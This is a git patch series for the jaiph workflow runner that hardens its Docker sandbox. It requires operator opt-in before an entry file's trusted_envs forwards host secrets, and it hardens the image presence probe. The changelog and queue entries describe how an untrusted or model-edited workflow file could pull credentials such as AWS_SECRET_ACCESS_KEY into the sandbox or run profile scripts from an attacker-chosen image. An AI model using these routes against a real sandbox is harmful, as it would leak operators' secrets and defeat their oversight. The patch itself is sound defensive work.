secret name. # --------------------------------------------------------------------------- if ! command -v docker >/dev/null 2>&1 || ! docker info >/dev/null 2>&1; then @@ -187,14 +191,26 @@ if ! e2e::ensure_docker_test_image; then exit 0 fi -e2e::section "docker — declared key crosses the sandbox boundary without --env" +e2e::section "docker — without the operator opt-in the declared key does NOT cross the allowlist" -docker_out="$(TR_TOKEN=host-secret JAIPH_DOCKER_ENABLED=true JAIPH_DOCKER_IMAGE="${E2E_DOCKER_TEST_IMAGE}" jaiph run "${TEST_DIR}/trusted_show.jh" 2>/dev/null)" +# No JAIPH_TRUSTED_ENVS: the file naming TR_TOKEN is not consent on its own, so +# the host secret must stay out of the sandbox (the run step sees ). +nooptin_out="$(TR_TOKEN=host-secret JAIPH_DOCKER_ENABLED=true JAIPH_DOCKER_IMAGE="${E2E_DOCKER_TEST_IMAGE}" jaiph run "${TEST_DIR}/trusted_show.jh" 2>/dev/null)" # assert_contains: full Docker stdout carries pull/status lines that vary; the # workflow's return value is what we pin. -e2e::assert_contains "${docker_out}" "TR_TOKEN=[host-secret]" "docker: trusted_envs forwards the declared key across the allowlist" +e2e::assert_contains "${nooptin_out}" "TR_TOKEN=[]" "docker: entry trusted_envs is ignored without JAIPH_TRUSTED_ENVS (host secret stays out of the sandbox)" +if [[ "${nooptin_out}" == *"TR_TOKEN=[host-secret]"* ]]; then + e2e::fail "docker: host secret leaked into the sandbox without the operator opt-in" +fi + +e2e::section "docker — with the operator opt-in the declared key crosses the sandbox boundary" + +docker_out="$(TR_TOKEN=host-secret JAIPH_TRUSTED_ENVS=1 JAIPH_DOCKER_ENABLED=true JAIPH_DOCKER_IMAGE="${E2E_DOCKER_TEST_IMAGE}" jaiph run "${TEST_DIR}/trusted_show.jh" 2>/dev/null)" +# assert_contains: full Docker stdout carries pull/status lines that vary; the +# workflow's return value is what we pin. +e2e::assert_contains "${docker_out}" "TR_TOKEN=[host-secret]" "docker: trusted_envs forwards the declared key across the allowlist with JAIPH_TRUSTED_ENVS" -docker_sub_out="$(TR_TOKEN=host-secret JAIPH_DOCKER_ENABLED=true JAIPH_DOCKER_IMAGE="${E2E_DOCKER_TEST_IMAGE}" jaiph run "${TEST_DIR}/trusted_sub.jh" 2>/dev/null)" +docker_sub_out="$(TR_TOKEN=host-secret JAIPH_TRUSTED_ENVS=1 JAIPH_DOCKER_ENABLED=true JAIPH_DOCKER_IMAGE="${E2E_DOCKER_TEST_IMAGE}" jaiph run "${TEST_DIR}/trusted_sub.jh" 2>/dev/null)" # assert_contains: same rationale; inside the container the undeclared # sub-workflow must still not see the key. e2e::assert_contains "${docker_sub_out}" "MAIN=[host-secret] SUB=[]" "docker: undeclared sub-workflow stays scrubbed inside the sandbox" diff --git a/src/cli/commands/run.ts b/src/cli/commands/run.ts index 64017075..f6541857 100644 --- a/src/cli/commands/run.ts +++ b/src/cli/commands/run.ts @@ -75,7 +75,7 @@ import { import { loadMergedHooks, registerHooksSubscriber } from "../run/hooks"; import { resolveRuntimeEnv, applySandboxFlags, resolveEnvPairs, isUnsafeHostOnly } from "../run/env"; import { preflightAgentCredentials, collectEntryBackends } from "../run/preflight-credentials"; -import { planTrustedEnvs } from "../run/trusted-envs"; +import { planTrustedEnvs, isTrustedEnvsOptIn } from "../run/trusted-envs"; import { colorize, formatJaiphRunningBannerLines } from "../run/display"; import { createRunEmitter } from "../run/emitter"; import { exportRunTelemetry } from "../telemetry/otlp"; @@ -183,7 +183,13 @@ export async function runWorkflow(rest: string[]): Promise { if (reportPreflight(credPreflight.warnings, credPreflight.errors)) return 1; // trusted_envs pre-flight: a declared key with no host/--env value fails // before anything is spawned, like a bare `--env KEY` with no host value. - const trustedPlan = planTrustedEnvs(graph, extraEnv, process.env); + // Under Docker the entry file's trusted_envs only crosses the sandbox + // allowlist when the operator opts in (JAIPH_TRUSTED_ENVS) — the file naming + // a host secret is not consent on its own (finding M-7). + const trustedPlan = planTrustedEnvs(graph, extraEnv, process.env, { + dockerEnabled: dockerConfigForBanner.enabled, + optIn: isTrustedEnvsOptIn(runtimeEnv), + }); if (reportPreflight(trustedPlan.warnings, trustedPlan.errors)) return 1; if (dockerConfigForBanner.enabled) { checkDockerAvailable(); diff --git a/src/cli/run/trusted-envs.test.ts b/src/cli/run/trusted-envs.test.ts index e89db25e..060c0099 100644 --- a/src/cli/run/trusted-envs.test.ts +++ b/src/cli/run/trusted-envs.test.ts @@ -4,7 +4,7 @@ import { mkdtempSync, rmSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; import { join } from "node:path"; import { loadModuleGraph } from "../../transpile/module-graph"; -import { planTrustedEnvs } from "./trusted-envs"; +import { planTrustedEnvs, isTrustedEnvsOptIn } from "./trusted-envs"; function writeFlow(root: string, name: string, lines: string[]): string { const path = join(root, name); @@ -124,6 +124,83 @@ test("planTrustedEnvs: trusted_envs in an imported module is not resolved and pr }); }); +test("planTrustedEnvs: under Docker without the operator opt-in, the entry file's trusted_envs is ignored (not forwarded)", () => { + withTempDir((root) => { + const jh = writeFlow(root, "flow.jh", [ + "config {", + ' trusted_envs = "AWS_SECRET_ACCESS_KEY"', + "}", + "workflow default() {", + ' log "x"', + "}", + ]); + const plan = planTrustedEnvs( + loadModuleGraph(jh, root), + {}, + { AWS_SECRET_ACCESS_KEY: "host-secret" }, + { dockerEnabled: true, optIn: false }, + ); + // The host secret must not cross the sandbox allowlist absent operator consent. + assert.equal(plan.resolved.AWS_SECRET_ACCESS_KEY, undefined); + assert.deepEqual(plan.resolved, {}); + assert.deepEqual(plan.errors, []); + assert.equal(plan.warnings.length, 1); + assert.match(plan.warnings[0]!, /JAIPH_TRUSTED_ENVS/); + assert.match(plan.warnings[0]!, /AWS_SECRET_ACCESS_KEY/); + }); +}); + +test("planTrustedEnvs: under Docker with the operator opt-in, an arbitrary non-JAIPH_ secret is forwarded", () => { + withTempDir((root) => { + const jh = writeFlow(root, "flow.jh", [ + "config {", + ' trusted_envs = "AWS_SECRET_ACCESS_KEY"', + "}", + "workflow default() {", + ' log "x"', + "}", + ]); + const plan = planTrustedEnvs( + loadModuleGraph(jh, root), + {}, + { AWS_SECRET_ACCESS_KEY: "host-secret" }, + { dockerEnabled: true, optIn: true }, + ); + assert.deepEqual(plan.errors, []); + assert.deepEqual(plan.warnings, []); + assert.deepEqual(plan.resolved, { AWS_SECRET_ACCESS_KEY: "host-secret" }); + }); +}); + +test("planTrustedEnvs: under Docker without opt-in, a declared key unset on the host does not error (declaration is not honoured)", () => { + withTempDir((root) => { + const jh = writeFlow(root, "flow.jh", [ + "config {", + ' trusted_envs = "GITHUB_TOKEN"', + "}", + "workflow default() {", + ' log "x"', + "}", + ]); + const plan = planTrustedEnvs( + loadModuleGraph(jh, root), + {}, + {}, + { dockerEnabled: true, optIn: false }, + ); + assert.deepEqual(plan.errors, [], "ignored declarations must not fail the pre-flight"); + assert.deepEqual(plan.resolved, {}); + }); +}); + +test("isTrustedEnvsOptIn: honours 1/true and rejects everything else", () => { + assert.equal(isTrustedEnvsOptIn({ JAIPH_TRUSTED_ENVS: "1" }), true); + assert.equal(isTrustedEnvsOptIn({ JAIPH_TRUSTED_ENVS: "true" }), true); + assert.equal(isTrustedEnvsOptIn({ JAIPH_TRUSTED_ENVS: "0" }), false); + assert.equal(isTrustedEnvsOptIn({ JAIPH_TRUSTED_ENVS: "yes" }), false); + assert.equal(isTrustedEnvsOptIn({}), false); +}); + test("planTrustedEnvs: no declarations → empty plan", () => { withTempDir((root) => { const jh = writeFlow(root, "flow.jh", [ diff --git a/src/cli/run/trusted-envs.ts b/src/cli/run/trusted-envs.ts index 0cce1dc0..483204c2 100644 --- a/src/cli/run/trusted-envs.ts +++ b/src/cli/run/trusted-envs.ts @@ -15,8 +15,14 @@ import type { jaiphModule } from "../../types"; * explicit `--env KEY=VALUE` overriding the host value. Host modes need no * forwarding (the runner inherits the host env and snapshots it); Docker * threads this map through `DockerSpawnOptions.extraEnv` so the declared - * keys cross the sandbox allowlist like `--env` pairs do — the in-file - * declaration is the per-key consent. + * keys cross the sandbox allowlist like `--env` pairs do. Under Docker the + * in-file declaration is *not* consent on its own — an untrusted/model-edited + * entry file could name arbitrary host secrets (`AWS_SECRET_ACCESS_KEY`, + * `GITHUB_TOKEN`) and pull them across the allowlist the sandbox exists to + * enforce (finding M-7). The operator opt-in `JAIPH_TRUSTED_ENVS` is the + * consent that lets the declaration be honoured; without it the entry file's + * `trusted_envs` is ignored under Docker (with a warning) and `resolved` stays + * empty. Authoring the entry file is a trust boundary equal to `--env`. */ export interface TrustedEnvPlan { errors: string[]; @@ -24,6 +30,23 @@ export interface TrustedEnvPlan { resolved: Record; } +export interface PlanTrustedEnvsOptions { + /** True when Docker is the active sandbox for this run. */ + dockerEnabled: boolean; + /** Operator opt-in (`JAIPH_TRUSTED_ENVS`) to honour the entry file's `trusted_envs`. */ + optIn: boolean; +} + +/** + * Operator opt-in (`JAIPH_TRUSTED_ENVS=1|true`) required before the entry + * file's `trusted_envs` is honoured under Docker — authoring the entry file is + * a trust boundary equal to `--env`, so the operator, not the file, consents to + * which host secrets cross the sandbox allowlist (finding M-7). + */ +export function isTrustedEnvsOptIn(env: Record): boolean { + return env.JAIPH_TRUSTED_ENVS === "1" || env.JAIPH_TRUSTED_ENVS === "true"; +} + /** Entry-file declared keys in declaration order: module-level, then per-workflow. */ function collectEntryTrustedEnvKeys(entry: jaiphModule): string[] { const keys: string[] = []; @@ -47,19 +70,36 @@ export function planTrustedEnvs( graph: ModuleGraph, extraEnv: Record, hostEnv: Record, + opts: PlanTrustedEnvsOptions = { dockerEnabled: false, optIn: false }, ): TrustedEnvPlan { const plan: TrustedEnvPlan = { errors: [], warnings: [], resolved: {} }; const entry = graph.modules.get(graph.entryFile)?.ast; if (!entry) return plan; - for (const key of collectEntryTrustedEnvKeys(entry)) { - const value = extraEnv[key] ?? hostEnv[key]; - if (value === undefined) { - plan.errors.push( - `E_ENV_MISSING trusted_envs ${key}: declared in ${graph.entryFile} but ${key} is not set on the host (export it or pass --env ${key}=VALUE)`, + const entryKeys = collectEntryTrustedEnvKeys(entry); + + // Under Docker the entry file's declaration alone is not consent: it would + // pull the named host secrets across the sandbox allowlist. Honour it only + // when the operator opts in (`JAIPH_TRUSTED_ENVS`); otherwise ignore it (leave + // `resolved` empty so nothing is forwarded) and warn so the operator can opt + // in deliberately. Host modes have no allowlist to bypass — the runner + // inherits the host env directly — so they honour the declaration as before. + if (opts.dockerEnabled && !opts.optIn) { + if (entryKeys.length > 0) { + plan.warnings.push( + `jaiph: warning: trusted_envs declared in entry file ${graph.entryFile} is ignored — set JAIPH_TRUSTED_ENVS=1 to forward the declared keys (${entryKeys.join(", ")}) into the Docker sandbox; authoring the entry file is a trust boundary equal to --env`, ); - } else { - plan.resolved[key] = value; + } + } else { + for (const key of entryKeys) { + const value = extraEnv[key] ?? hostEnv[key]; + if (value === undefined) { + plan.errors.push( + `E_ENV_MISSING trusted_envs ${key}: declared in ${graph.entryFile} but ${key} is not set on the host (export it or pass --env ${key}=VALUE)`, + ); + } else { + plan.resolved[key] = value; + } } } diff --git a/src/env-reserved.ts b/src/env-reserved.ts index 95400acb..743da200 100644 --- a/src/env-reserved.ts +++ b/src/env-reserved.ts @@ -28,6 +28,10 @@ export const RESERVED_ENV_KEYS = new Set([ "JAIPH_SOURCE_ABS", "JAIPH_META_FILE", "JAIPH_AGENT_TRUSTED_WORKSPACE", + // Operator opt-in that lets the entry file's `trusted_envs` cross the Docker + // sandbox allowlist. It is the operator's consent, not the file's, so the + // file must not be able to name it via `--env` / `trusted_envs`. + "JAIPH_TRUSTED_ENVS", // Selects the inner run's root symbol in a Docker MCP call; managed via the // container spawn wiring, not user env. "JAIPH_RUN_WORKFLOW", From ef1cfb1ac871d2b0670eb0c3941014b2db6d37db Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Fri, 31 Jul 2026 13:22:16 +0200 Subject: [PATCH 20/86] Feat: harden image jaiph-presence probe and drop login shell The image jaiph-presence check ran the workflow-selected image with none of the run's sandbox hardening and under a login shell, so profile scripts baked into an attacker-influenced image (via an untrusted runtime.docker_image) executed at higher privilege than the real run. The new buildImageProbeArgs applies the same hardening as a real run (--cap-drop ALL, --security-opt no-new-privileges, a pinned non-root --user, --network none) and runs a non-login sh -c, so command -v jaiph resolves only PATH and nothing image-controlled is sourced or executed. Adds unit tests and an e2e case proving a /etc/profile.d script in the probed image is never sourced. Co-Authored-By: Claude Opus 4.8 (1M context) --- CHANGELOG.md | 3 + QUEUE.md | 15 ---- docs/architecture.md | 2 +- docs/sandboxing.md | 2 +- e2e/test_all.sh | 1 + e2e/tests/74f_docker_probe_hardening.sh | 99 +++++++++++++++++++++++++ src/runtime/docker.test.ts | 84 +++++++++++++++++++++ src/runtime/docker.ts | 52 ++++++++++++- 8 files changed, 237 insertions(+), 21 deletions(-) create mode 100755 e2e/tests/74f_docker_probe_hardening.sh diff --git a/CHANGELOG.md b/CHANGELOG.md index 56598d67..502a6ec3 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,10 +7,13 @@ - **The run audit journal is now tamper-resistant and verified when it is read:** each `run_summary.jsonl` line is chained with a keyed HMAC under a per-run secret that never reaches the workflow's own script or agent subprocesses, so a workflow that rewrites, truncates, or deletes its journal can no longer forge a chain that verifies. Run listing, the `GET /v1/runs/{id}/events` snapshot, and OTLP and Sentry export now verify the chain and reject a tampered journal instead of trusting it. - **`jaiph install` and the library registry now verify integrity instead of trusting-on-first-use:** a remotely fetched registry index is signature-verified against a detached `.minisig` (minisign, `jaiph.pub` embedded as the trust anchor) and rejected when missing, unsigned, or tampered; remote registry and library URLs must use `https://`/`ssh://` (a `http://` or other disallowed scheme is refused before any fetch or clone); registry entries can pin a `commit` that the cloned HEAD must match on the first install; and an optional per-library detached signature is verified fail-closed. - **A workflow file can no longer weaken the Docker sandbox it runs in:** the entry file's `runtime.docker_image` and any isolation-breaking `runtime.docker_network` value (`host`, `container:*`, `ns:*`) are now host-controlled. When Docker is the active sandbox, a file-declared image is rejected (`E_DOCKER_IMAGE_HOST_ONLY`) and a file-declared `host` / `container:*` / `ns:*` network is rejected (`E_DOCKER_NETWORK_HOST_ONLY`), so a repo- or model-supplied workflow can no longer point the sandbox at an arbitrary image or join the host network namespace while still appearing sandboxed. Host-safe in-file network values (`default`, `none`, a named bridge network) are still honoured, and only the operator's `JAIPH_DOCKER_IMAGE` / `JAIPH_DOCKER_NETWORK` can select an image or an isolation-breaking network. +- **The image presence check no longer runs unhardened image code:** the check that confirms a Docker image contains `jaiph` before a run now uses the same sandbox hardening as the run itself (every capability dropped, no new privileges, a non-root user, and no network) and a non-login shell, so it can no longer source or execute startup and profile scripts baked into a workflow-selected image at a higher privilege than the run. - **A workflow file can no longer pull arbitrary host secrets into the Docker sandbox by declaring them:** the entry file's `trusted_envs` keys cross the sandbox allowlist only when the operator opts in with `JAIPH_TRUSTED_ENVS=1`. Absent the opt-in, a file-declared `trusted_envs` is ignored under Docker with a pre-flight warning, so an untrusted or model-edited entry naming `AWS_SECRET_ACCESS_KEY` or `GITHUB_TOKEN` cannot forward that host secret across the allowlist on its own. Host modes have no allowlist to bypass, so they honour the declaration as before, and authoring the entry file is now a trust boundary equal to `--env`. ## All changes +- **Security — harden the image `jaiph`-presence probe and drop its login shell (finding M-8):** `imageHasJaiph` (`src/runtime/docker.ts`) confirmed an image contained `jaiph` by running `docker run --rm --entrypoint sh -lc "command -v jaiph …"` with none of the hardening a real run gets (`buildDockerArgs`): no `--cap-drop ALL`, no `--user`, no `--security-opt no-new-privileges`, and no `--network none`. The probed image comes from `runtime.docker_image` and is `docker pull`ed first, and `sh -lc` is a login shell that sources `/etc/profile` and `/etc/profile.d/*`, so profile scripts baked into a workflow-selected image ran as the image's default user (typically root), with default capabilities, new privileges allowed, and default bridge egress — before the run had even confirmed the image was the official runtime. The probe args are now built by the new `buildImageProbeArgs` (`src/runtime/docker.ts`), which applies the same hardening as a real run — `--cap-drop ALL`, `--security-opt no-new-privileges`, a pinned non-root `--user` (`PROBE_USER`, `65534:65534` / `nobody`, safe because the probe has no bind mounts to match to host ownership), and `--network none` — and runs a non-login `sh -c` instead of `sh -lc`, so `command -v jaiph` resolves only PATH and nothing image-controlled is sourced or executed. Tests: `src/runtime/docker.test.ts` (the probe args carry `--cap-drop ALL`, `--security-opt no-new-privileges`, a non-root `--user`, and `--network none`; the shell is `sh -c`, never `-l` / `-lc`; the probe command is the bare PATH lookup and references no profile script; and `verifyImageHasJaiph` probes through `buildImageProbeArgs` end to end) and `e2e/tests/74f_docker_probe_hardening.sh` (a derived image whose `/etc/profile.d` script aborts any login shell still passes the presence check, proving the probe never sources it). Docs: the presence-check hardening note in [Sandboxing](docs/sandboxing.md) and the verification-probe note under **Docker runtime helper** in [Architecture](docs/architecture.md#core-components). + - **Security — require an operator opt-in before honouring the entry file's `trusted_envs` (finding M-7):** the entry file's `config { trusted_envs = "…" }` was resolved from the operator's host environment and forwarded verbatim into the Docker container through the same explicit `-e` channel as `--env` pairs, bypassing the sandbox allowlist (`isEnvAllowed`, `src/runtime/docker.ts`) that keeps host secrets out. The reserved-key filter blocks only `JAIPH_*` names, so an untrusted or model-edited entry declaring `trusted_envs = "AWS_SECRET_ACCESS_KEY GITHUB_TOKEN"` pulled those host secrets into the sandbox, where a `run` step could send them off the machine over the default network — the in-file declaration was treated as per-key consent even though authoring the entry file is a trust boundary equal to `--env`. `planTrustedEnvs` (`src/cli/run/trusted-envs.ts`) now takes the active sandbox and an operator opt-in: under Docker it honours the entry file's declared keys only when `JAIPH_TRUSTED_ENVS` is `1` or `true` (the new `isTrustedEnvsOptIn`), and without the opt-in it forwards nothing and emits a pre-flight warning that names the ignored keys and how to opt in. A declared key that is unset on the host no longer aborts the pre-flight when the declaration is being ignored. Host modes have no allowlist to bypass — the runner inherits the host env directly — so they resolve the declaration as before. `JAIPH_TRUSTED_ENVS` joins `RESERVED_ENV_KEYS` (`src/env-reserved.ts`) so a file cannot name it through `--env` or `trusted_envs` (`E_ENV_RESERVED`); the opt-in is the operator's consent, not the file's. Tests: `src/cli/run/trusted-envs.test.ts` (under Docker without the opt-in the plan forwards nothing and warns, covering the non-`JAIPH_` name `AWS_SECRET_ACCESS_KEY`; with the opt-in the declared key is forwarded; an ignored declaration unset on the host does not error; `isTrustedEnvsOptIn` accepts `1` / `true` and rejects the rest) and `e2e/tests/146_trusted_envs.sh` (the Docker leg asserts the declared `TR_TOKEN` is absent from the sandbox without `JAIPH_TRUSTED_ENVS` and present with it). Docs: the opt-in condition and the trust-boundary note on the `trusted_envs` semantics in [Configuration](docs/configuration.md#trusted-envs), the new `JAIPH_TRUSTED_ENVS` row and the `--env`-alternative note in [Environment variables](docs/env-vars.md), and the env-exposure note in [Sandboxing](docs/sandboxing.md). - **Security — treat `runtime.docker_image` and isolation-breaking `runtime.docker_network` as host-controlled (finding M-6):** an entry file is repo- or model-supplied and therefore untrusted, but its `config { runtime { … } }` values were used to build the sandbox. When the operator had not set `JAIPH_DOCKER_NETWORK`, a file-declared `runtime.docker_network` won over the `default` and was passed verbatim as `docker run --network `, and the in-file value was never content-checked (`validate-config.ts` only checks `${}` interpolation identifiers). A file shipping `runtime.docker_network = "host"` ran the container in the host network namespace, reaching loopback-only services such as a local database, another `jaiph serve` on `127.0.0.1`, or a metadata endpoint, and binding host ports, while the run still looked sandboxed; `container:` and `ns:` joined another namespace, and a file-declared `runtime.docker_image` pointed the sandbox at an arbitrary image. `resolveDockerConfig` (`src/runtime/docker.ts`) now treats both keys as host-controlled whenever Docker is the active sandbox. A file-declared `runtime.docker_image` with no operator `JAIPH_DOCKER_IMAGE` fails with `E_DOCKER_IMAGE_HOST_ONLY`, and `imageExplicit` is set only by the env var. A file-declared `runtime.docker_network` fails with `E_DOCKER_NETWORK_HOST_ONLY` unless it is host-safe, meaning `default`, `none`, or a plain named bridge network — a bare identifier with no `:` namespace-join syntax, and never `host` — as checked by the new `isHostSafeInFileNetwork`. The operator's `JAIPH_DOCKER_NETWORK` and `JAIPH_DOCKER_IMAGE` stay trusted and are used verbatim (the network may even be `host`). When Docker is off (host or `JAIPH_UNSAFE` mode) both keys are inert, so resolution stays lenient and a file declaring an unsafe value does not break a host-mode run. Tests: `src/runtime/docker.test.ts` (a file-declared `docker_network` of `host`, `container:*`, or `ns:*` is rejected; host-safe `default` / `none` / named-bridge values are honoured; a file-declared `docker_image` is rejected and never sets `imageExplicit`; the operator env network including `host` and the env image both take effect and override any in-file value; and both keys are inert when `JAIPH_UNSAFE` disables Docker), plus a real-CLI e2e case (`e2e/tests/153_docker_network_host_control.sh`). Docs: the host-controlled image/network note under **Docker runtime helper** in [Architecture](docs/architecture.md#core-components), the host-controlled notes on the `runtime.docker_image` / `runtime.docker_network` rows and the enablement paragraph in [Configuration](docs/configuration.md#runtime-docker-keys), the untrusted-layer note plus the `JAIPH_DOCKER_IMAGE` / `JAIPH_DOCKER_NETWORK` rows and the two new error codes in [Environment variables](docs/env-vars.md), and the host-controlled network and image notes in [Sandboxing](docs/sandboxing.md). diff --git a/QUEUE.md b/QUEUE.md index fe7dfe0b..c0d08712 100644 --- a/QUEUE.md +++ b/QUEUE.md @@ -14,21 +14,6 @@ Process rules: *** -## Harden the image `jaiph`-presence probe and drop its login shell #dev-ready - -Context: ASI-05, MEDIUM, confidence 0.72. Finding M-8 — the image probe runs a workflow-selected image with none of the run hardening. - -Problem: `imageHasJaiph` (`docker.ts:289-299`) runs `docker run --rm --entrypoint sh -lc "command -v jaiph …"` with no `--cap-drop ALL`, no `--user`, no `--security-opt no-new-privileges`, and no `--network none` — unlike `buildDockerArgs`. The image derives from the entry file's `runtime.docker_image` (`docker.ts:145-149`) and is `docker pull`ed first (`:277-287`). `sh -lc` is a login shell, so it sources `/etc/profile` and `/etc/profile.d/*` — scripts baked into an attacker-chosen image execute as the image's default user (typically root), with default capabilities, new-privileges allowed, and default bridge egress. An untrusted `.jh` setting `runtime.docker_image = "attacker/img:tag"` gets attacker profile scripts run at higher privilege than the real hardened run. - -Location: `src/runtime/docker.ts:145-149`, `:277-287`, `:289-299`. - -Remediation: Apply the same hardening flags to the probe (`--cap-drop ALL`, `--user`, `--security-opt no-new-privileges`, `--network none`) and drop the `-l` login flag (`sh -c`); better, detect `jaiph` without executing image-controlled code (`docker inspect` / a pinned entrypoint), and gate `runtime.docker_image` to host control (see the docker_network/docker_image task). - -### Acceptance criteria -- The probe invocation includes `--cap-drop ALL`, `--security-opt no-new-privileges`, a non-root `--user`, and `--network none` (a test asserts these flags are present in the probe args). -- The probe shell no longer uses the `-l` login flag (a test asserts `sh -c`, not `sh -lc`), or the probe no longer executes image-controlled code at all. -- A test asserts profile scripts baked into the probed image are not sourced/executed by the probe. - ## Reject or distinctly identify OIDC tokens lacking `sub` #dev-ready Context: ASI-07/ASI-04, MEDIUM, confidence 0.72. Finding M-9 — `sub`-less OIDC tokens collapse to one shared `unknown` principal. diff --git a/docs/architecture.md b/docs/architecture.md index 9ed13fc9..caf6de54 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -93,7 +93,7 @@ All orchestration uses the Node workflow runtime, which is the AST interpreter, - `jaiph format` rewrites `.jh` / `.test.jh` files into canonical style. `emitModule(ast, trivia, opts?)` reads the semantic AST together with the parallel **`Trivia`** store ([Trivia (CST layer)](#trivia-cst-layer)) to round-trip leading comments, top-level order, `config` body sequence, `"""..."""` and `bareSource` forms, the original quotedness of top-level `const` values (`EnvDeclDef.wasQuoted` — `true` for `"…"` / `"""…"""` sources, `undefined` for bare tokens — so a quoted value is never silently rewritten as bare based on whether it contains a space), and prompt / script body discriminators. Step emission switches on `WorkflowStepDef.type` (8 variants) and an `emitExpr` helper switches on `Expr.kind` (8 kinds) — there are no dual code paths for "managed sidecar vs literal value" because that branch was removed from the AST. Call arguments render straight off the typed `Arg[]` — `var` → bare name, `literal` → raw — so the formatter no longer re-parses any args string or consults a `bareIdentifierArgs` shadow field. Pure data→text emitter; no side-effects beyond file writes. Round-trip is bit-for-bit on every fixture under `examples/` and `test-fixtures/golden-ast/fixtures/` — pinned by `src/format/roundtrip.test.ts`, which asserts `parse → format → parse → format` converges in one step on every fixture. - **Docker runtime helper (`src/runtime/docker.ts`)** - - Parses mount specs, resolves Docker config (image, network, timeout), and builds the `docker run` invocation when the CLI enables **Docker sandboxing** for `jaiph run` (environment-driven; there is no `jaiph run --docker` flag — see [Sandboxing](sandboxing.md)). **Host-controlled image/network (finding M-6):** an entry file is untrusted, so when Docker is the active sandbox `resolveDockerConfig` rejects a file-declared `runtime.docker_image` (`E_DOCKER_IMAGE_HOST_ONLY`) and a file-declared isolation-breaking `runtime.docker_network` — `host`, `container:*`, `ns:*`, anything that is not `default` / `none` / a plain named bridge network (`isHostSafeInFileNetwork`) — (`E_DOCKER_NETWORK_HOST_ONLY`). The operator's `JAIPH_DOCKER_IMAGE` / `JAIPH_DOCKER_NETWORK` remain trusted and are used verbatim (they may even select `host`); host-safe in-file network values are still honoured. When Docker is off these keys are inert and not enforced. On **`win32`** the Docker sandbox is out of scope: **`resolveDockerConfig`** forces host-only mode (same UX as an explicit **`JAIPH_UNSAFE=true`**) with a one-line notice, so the CLI never probes `docker` and never hard-fails on a missing daemon (`JAIPH_DOCKER_ENABLED=true` cannot override this). The container runs the same **`jaiph run --raw`** / **`__workflow-runner`** entry as local execution. The default image is the official `ghcr.io/jaiphlang/jaiph-runtime` GHCR image tagged with the CLI version (`ghcr.io/jaiphlang/jaiph-runtime:`); every selected image must already contain `jaiph` (no auto-install or derived-image build at runtime). Image preparation (`prepareImage`) runs before the CLI banner: it checks whether the image is local, pulls with `--quiet` if needed (short status lines on stderr instead of Docker's default pull UI), and verifies that `jaiph` exists in the image. `spawnDockerProcess` does not pull or verify — it receives a pre-resolved image. The spawn call uses `stdio: ["ignore", "pipe", "pipe"]` — stdin is ignored so the Docker CLI does not block on stdin EOF, which would stall event streaming and hang the host CLI after the container exits. + - Parses mount specs, resolves Docker config (image, network, timeout), and builds the `docker run` invocation when the CLI enables **Docker sandboxing** for `jaiph run` (environment-driven; there is no `jaiph run --docker` flag — see [Sandboxing](sandboxing.md)). **Host-controlled image/network (finding M-6):** an entry file is untrusted, so when Docker is the active sandbox `resolveDockerConfig` rejects a file-declared `runtime.docker_image` (`E_DOCKER_IMAGE_HOST_ONLY`) and a file-declared isolation-breaking `runtime.docker_network` — `host`, `container:*`, `ns:*`, anything that is not `default` / `none` / a plain named bridge network (`isHostSafeInFileNetwork`) — (`E_DOCKER_NETWORK_HOST_ONLY`). The operator's `JAIPH_DOCKER_IMAGE` / `JAIPH_DOCKER_NETWORK` remain trusted and are used verbatim (they may even select `host`); host-safe in-file network values are still honoured. When Docker is off these keys are inert and not enforced. On **`win32`** the Docker sandbox is out of scope: **`resolveDockerConfig`** forces host-only mode (same UX as an explicit **`JAIPH_UNSAFE=true`**) with a one-line notice, so the CLI never probes `docker` and never hard-fails on a missing daemon (`JAIPH_DOCKER_ENABLED=true` cannot override this). The container runs the same **`jaiph run --raw`** / **`__workflow-runner`** entry as local execution. The default image is the official `ghcr.io/jaiphlang/jaiph-runtime` GHCR image tagged with the CLI version (`ghcr.io/jaiphlang/jaiph-runtime:`); every selected image must already contain `jaiph` (no auto-install or derived-image build at runtime). Image preparation (`prepareImage`) runs before the CLI banner: it checks whether the image is local, pulls with `--quiet` if needed (short status lines on stderr instead of Docker's default pull UI), and verifies that `jaiph` exists in the image. **Hardened presence probe (finding M-8):** the image is workflow-influenced and is pulled before the check, so the verification probe (`buildImageProbeArgs`) runs the image with the same hardening as a real run (`--cap-drop ALL`, `--security-opt no-new-privileges`, a non-root `--user`, and `--network none`) and a non-login `sh -c`, so `command -v jaiph` resolves only PATH and the check never sources `/etc/profile` or `/etc/profile.d/*` scripts baked into the image. `spawnDockerProcess` does not pull or verify — it receives a pre-resolved image. The spawn call uses `stdio: ["ignore", "pipe", "pipe"]` — stdin is ignored so the Docker CLI does not block on stdin EOF, which would stall event streaming and hang the host CLI after the container exits. - **Workspace immutability:** By default Docker runs cannot modify the host workspace. In the default **snapshot** mode the host takes a writable point-in-time clone of the workspace at run start (`/sandbox`, via `cloneWorkspaceForSandbox` in `src/runtime/docker.ts`) and bind-mounts that clone read-write at `/jaiph/workspace`; the live host checkout is never mounted, and the clone is discarded on exit. The clone content is **git-defined**: for a git workspace it is exactly `git ls-files --cached --others --exclude-standard` plus `.git/` wholesale (gitignored files — `node_modules/`, `.env`, build output — are absent, never scanned); git is the sole ignore oracle (no reimplemented gitignore matcher). A non-git workspace (no `.git` at the root, or `git ls-files` fails) falls back to copying everything. See [Sandboxing — What the snapshot contains](sandboxing.md#snapshot-content). The only host-writable path is `/jaiph/run` (run artifacts), and the snapshot source under it is masked from the container with a tmpfs at `/jaiph/run/sandbox`. Workflows that need to capture workspace changes should write files (for example a `git diff` into a temp path) and publish them with `artifacts.save()`. The explicit opt-in **inplace** mode (truthy **`JAIPH_INPLACE`** — `1` or `true`, or `jaiph run --inplace`) breaks this contract on purpose — the host workspace itself is bind-mounted read-write so the run's edits persist live on the host, with the rest of the sandbox (caps, env allowlist, mount set) unchanged. See [Sandboxing](sandboxing.md) for the full contract and [Save artifacts](artifacts.md). - **Container teardown on interrupt / timeout:** `spawnDockerProcess` assigns every container a deterministic `--name` (`jaiph-run-`, emitted immediately after `run --rm`) so it can be force-removed by name later. A `docker run --rm` container can outlive its host `docker` client (Docker Desktop / detached behaviour), so killing the client's process tree alone does not guarantee the container stops. On SIGINT/SIGTERM the run's `onSignalCleanup` calls **`stopDockerRunOnSignal`**, and the run-timeout kill (`E_TIMEOUT`) calls **`stopDockerContainer`** directly 